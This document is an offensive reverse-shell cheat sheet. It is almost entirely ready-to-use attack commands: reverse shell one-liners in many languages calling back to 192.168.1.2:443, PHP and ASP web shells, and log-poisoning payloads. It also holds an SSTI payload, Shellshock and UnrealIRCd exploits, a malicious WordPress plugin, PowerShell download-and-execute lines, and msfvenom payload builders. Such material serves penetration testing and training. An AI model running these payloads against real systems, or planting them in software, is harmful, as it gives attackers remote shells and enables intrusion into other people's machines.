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Offensive Reverse Shell (Cheat Sheet)

  • Bash

  • Netcat

  • cURL

  • WebShell

  • Server Side Template Injection (SSTI)

  • UnrealIRCd

  • Exif Data

  • Shellshock

  • CMS

  • Perl

  • Python

  • Python3

  • PHP

  • Ruby

  • Xterm

  • Ncat

  • PowerShell

  • Awk

  • Gawk

  • Golang

  • Telnet

  • Java

  • Node

  • Msfvenom


    Bash

    TCP

    bash -i >& /dev/tcp/192.168.1.2/443 0>&1
    
    bash -l > /dev/tcp/192.168.1.2/443 0<&1 2>&1
    
    sh -i 5<> /dev/tcp/192.168.1.2/443 0<&5 1>&5 2>&5
    
    bash -c "bash -i >& /dev/tcp/192.168.1.2/443 0>&1"
    
    0<&196;exec 196<>/dev/tcp/192.168.1.2/443; sh <&196 >&196 2>&196
    
    exec 5<>/dev/tcp/192.168.1.2/443;cat <&5 | while read line; do $line 2>&5 >&5; done

    UDP

    sh -i >& /dev/udp/192.168.1.2/443 0>&1

    Bash URL Encoding

    bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.2%2F443%200%3E%261%22

    Netcat

    Netcat Linux

    nc -e /bin/sh 192.168.1.2 443
    
    nc -e /bin/bash 192.168.1.2 443
    
    nc -c /bin/sh 192.168.1.2 443
    
    nc -c /bin/bash 192.168.1.2 443
    
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.2 443 >/tmp/f

    Netcat Windows

    nc.exe -e cmd 192.168.1.26 443
    
    \\192.168.1.2\a\nc.exe -e cmd 192.168.1.26 443

    Netcat URL Encoding

    rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.1.2%20443%20%3E%2Ftmp%2Ff

    cURL

    root@kali:~# echo "nc -e /bin/sh 192.168.1.2 443" > index.html; python3 -m http.server 80
    root@kali:~# nc -lvnp 443
    http://192.168.1.3/cmd.php?cmd=curl 192.168.1.2/index.html|sh

    WebShell

    Exif Data

    root@kali:~# exiftool -Comment='<?php system($_GET['cmd']); ?>' filename.png
    root@kali:~# mv filename.png filename.php.png

    ASP WebShell

    <%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>

    PHP WebShell

    Basic

    <?php system($_GET['cmd']); ?>

    Basic Proportions OK

    <?php echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; ?>

    Log Poisoning WebShell

    Log Poisoning SSH

    /var/log/auth.log

    ssh '<?php system($_GET['cmd']); ?>'@192.168.1.2

    /var/log/auth.log&cmd=id


    Log Poisoning FTP

    /var/log/vsftpd.log

    root@kali:~# ftp 192.168.1.3
    Connected to 192.168.1.3.
    220 (vsFTPd 3.0.3)
    Name (192.168.1.2:kali): <?php system($_GET['cmd']); ?>
    331 Please specify the password.
    Password: <?php system($_GET['cmd']); ?>
    530 Login incorrect.
    Login failed.
    ftp> 
     

    /var/log/vsftpd.log&cmd=id


    Log Poisoning HTTP

    /var/log/apache2/access.log

    /var/log/nginx/access.log

    curl -s -H "User-Agent: <?php system(\$_GET['cmd']); ?>" "http://192.168.1.2"
    User-Agent: <?php system($_GET['cmd']); ?>

    /var/log/apache2/access.log&cmd=id

    /var/log/nginx/access.log&cmd=id


    Server Side Template Injection

    {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.2\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

    UnrealIRCd

    root@kali:~# echo "AB;nc -e /bin/sh 192.168.1.2 443" |nc 192.168.1.3 6667

    Exif Data Reverse Shell

    root@kali:~# exiftool -Comment='<?php system("nc -e /bin/bash 192.168.1.2 443"); ?>' filename.png
    root@kali:~# mv filename.png filename.php.png

    Shellshock

    Shellshock SSH

    root@kali:~# ssh user@192.168.1.3 -i id_rsa '() { :;}; nc 192.168.1.2 443 -e /bin/bash'

    Shellshock HTTP

    curl -H "User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.sh"
    
    curl -H "User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.cgi"

    Shellshock HTTP 500 Internal Server Error

    curl -H "User-Agent: () { :; }; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.sh"
    
    curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.sh"
    
    curl -H "User-Agent: () { :; }; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.cgi"
    
    curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.cgi"

    CMS

    WordPress

    Plugin Reverse Shell

    root@kali:~# nano plugin.php
    <?php
    
    /**
    * Plugin Name: Shelly
    * Plugin URI: http://localhost
    * Description: Love Shelly
    * Version: 1.0
    * Author: d4t4s3c
    * Author URI: https://github.com/d4t4s3c
    */
    
    exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'");
    ?>
    root@kali:~# zip plugin.zip plugin.php
    • Plugins

    • Add New

    • Upload Plugin

    • Install Now

    • Activate Plugin

    October

    function onstart(){
        exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'");
    }

    Jenkins

    Jenkins Windows

    String host="192.168.1.2";
    int port=443;
    String cmd="cmd.exe";
    Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
    command = "powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.2:8000/reverse.ps1')"
    println(command.execute().text) 

    Jenkins Linux

    String host="192.168.1.2";
    int port=443;
    String cmd="bash";
    Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

    Perl

    perl -e 'use Socket;$i="192.168.1.2";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

    Python

    export RHOST="192.168.1.2";export RPORT=443;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
     python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

    Python3

    python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

    PHP

    <?php passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.2 443 >/tmp/f"); ?>
    php -r '$sock=fsockopen("192.168.1.2",443);`/bin/sh -i <&3 >&3 2>&3`;'
    
    php -r '$sock=fsockopen("192.168.1.2",443);exec("/bin/sh -i <&3 >&3 2>&3");'
    
    php -r '$sock=fsockopen("192.168.1.2",443);system("/bin/sh -i <&3 >&3 2>&3");'
    
    php -r '$sock=fsockopen("192.168.1.2",443);passthru("/bin/sh -i <&3 >&3 2>&3");'
    
    php -r '$sock=fsockopen("192.168.1.2",443);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
    
    php -r '$sock=fsockopen("192.168.1.2",443);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
    
    php -r '$sock=fsockopen("192.168.1.2",443);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

    Ruby

    ruby -rsocket -e'f=TCPSocket.open("192.168.1.2",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
    
    ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.1.2","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
    
    ruby -rsocket -e 'c=TCPSocket.new("192.168.1.2","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

    Xterm

    xterm -display 192.168.1.2:443

    Ncat

    TCP

    ncat 192.168.1.2 443 -e /bin/bash
    
    ncat 192.168.1.2 443 -e /bin/sh

    UDP

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|ncat -u 192.168.1.2 443 >/tmp/f

    PowerShell

    powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("192.168.1.2",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
    
    powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.2',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
    
    powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.2:8000/reverse.ps1')
     
    C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.2/shell.ps1')
     
    powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.2/powercat.ps1');powercat -c 192.168.1.2 -p 443 -e cmd" 

    Awk

    awk 'BEGIN {s = "/inet/tcp/0/192.168.1.2/443"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

    Gawk

    gawk 'BEGIN {P=443;S="> ";H="192.168.1.2";V="/inet/tcp/0/"H"/"P;while(1){do{printf S|&V;V|&getline c;if(c){while((c|&getline)>0)print $0|&V;close(c)}}while(c!="exit")close(V)}}'

    Golang

    echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.1.2:443");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

    Telnet

    rm -f /tmp/p; mknod /tmp/p p && telnet 192.168.1.2 443 0/tmp/p
    telnet 192.168.1.2 80 | /bin/bash | telnet 192.168.1.2 443

    Java

    r = Runtime.getRuntime()
    p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.2/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
    p.waitFor()

    Node

    require('child_process').exec('bash -i >& /dev/tcp/192.168.1.2/443 0>&1');

    Msfvenom

    Web Payloads

    PHP Payload

    msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f raw > reverse.php
    msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=443 -f raw > reverse.php

    War Payload

    msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f war > reverse.war

    JAR Payload

    msfvenom -p java/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f jar > reverse.jar

    JSP Payload

    msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f raw > reverse.jsp

    ASPX Payload

    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f aspx -o reverse.aspx
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f aspx -o reverse.aspx
    msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f aspx -o reverse.aspx

    Windows Payloads

    Windows Listener Netcat

    x86 - Shell

    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe

    x64 - Shell

    msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe

    Windows Listener Metasploit Multi Handler

    x86 - Meterpreter

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe

    x64 - Meterpreter

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe

    x86 - Shell

    msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe

    x64 - Shell

    msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe

    Linux Payloads

    Linux Listener Netcat

    x86 - Shell

    msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf

    x64 - Shell

    msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf

    Linux Listener Metasploit Multi Handler

    x86 - Meterpreter

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf

    x64 - Meterpreter

    msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf

    x86 - Shell

    msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf

    x64 - Shell

    msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf